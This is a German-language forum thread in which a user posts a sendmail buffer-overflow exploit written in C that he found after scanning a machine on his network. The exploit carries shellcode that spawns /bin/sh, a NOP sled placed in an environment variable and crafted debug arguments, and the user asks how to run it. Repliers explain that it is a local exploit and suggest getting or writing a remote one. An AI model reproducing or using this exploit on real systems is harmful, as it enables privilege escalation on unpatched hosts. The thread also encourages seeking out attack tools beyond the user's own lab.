sendmail Xploit

hallo, habe einen zweitpc im netzwerk zur verfügung und versuche gerade meine tcp ip security kenntnisse ein wenig auszuweiten, habe den rechner mit languard gescannt und als antwort bekommen das eine sendmail version installed ist die auf einen BOF anfällig ist:"Description : Sendmail versions from 5.79 to 8.12.7 are vulnerable to this buffer overflow.", so ungeduldig wie ich bin hab ich mich dann auch gleich mal "umgehört", und folgenden exploit gefunden:

Code:
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NOPNUM 1024

char shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";


int main(int argc, char *argv[])
{
  char *egg, s[256], *av[3], *ev[2];


  egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
  if (egg == NULL) {
    perror("malloc()");
    exit(-1);
  }
  sprintf(egg, "EGG=");
  memset(egg + 4, 0x90, NOPNUM);
  sprintf(egg + 4 + NOPNUM, "%s", shellcode);

  sprintf(s,"-d4294900452-4294900452.196\n-d4294900453-4294900453.252\n-d4294900454-4294900454.191\n-d4294900455-4294900455.191");

  av[0] = "/usr/sbin/sendmail";
  av[1] = s;
  av[2] = NULL;
  ev[0] = egg;
  ev[1] = NULL;
  execve(*av, av, ev);

  return 0;
}

ich konnte ihn zwar in c++ compilieren, aber scheint funktionslos, leider code ich selber nur delphi, wesshalb ich nicht in der lage bin den code zeile für zeile nachzuvollziehen.
kann mir also einer von euch bite sagen, ob dies der passende exploit ist, und mit welchen parametern ich ihn starten soll ...


danke schonmal

stromer



NACHTRAG:

hey kinder, ich glaube ich bin zurzeit ein wenig verwirrt, da ist ja nicht mal ein socket eingebunden also kein tcpip anwendung, ich denke mal dass ich da einen local exploit geangelt habe, hat vielleicht einer von euch was passendes?
 
Ja das wird wohl kein remote Exploit sein. Mit Parametern musste du dieses Programm gar nicht starten so wie ich das sehe. Es fehlt z.B.

Code:
if(argc != n)
{
  perror("---");
  exit(0);
}
Der Sinn dieses Exploit ist mit einer exec-Funktion das Programm sendmail zu ersetzen. In die Variablen ( z.B. s ) wird mit sprintf() der Code in ein Array geschrieben und anschliessen das Programm überlagert ! So wie ich das sehe ( falls ich mich irre bitte sagen ) ist es ein recht simples exploit was einfach ein Programmcode ersetzt.
 
was einfach ein Programmcode ersetzt.
<snip>
int
execve(const char *path, char *const argv[], char *const envp[]);

execve() transforms the calling process into a new process. The new pro-
cess is constructed from an ordinary file, whose name is pointed to by
path, called the new process file.
</snip>

jup, auch wenns nicht wirklich "ersetzt wird" ;)

mfg
 
jap, das ist ein local exploit, also suche dir am besten einen remote exploit oder schreibe dir selbst einen =)
 
Zurück
Oben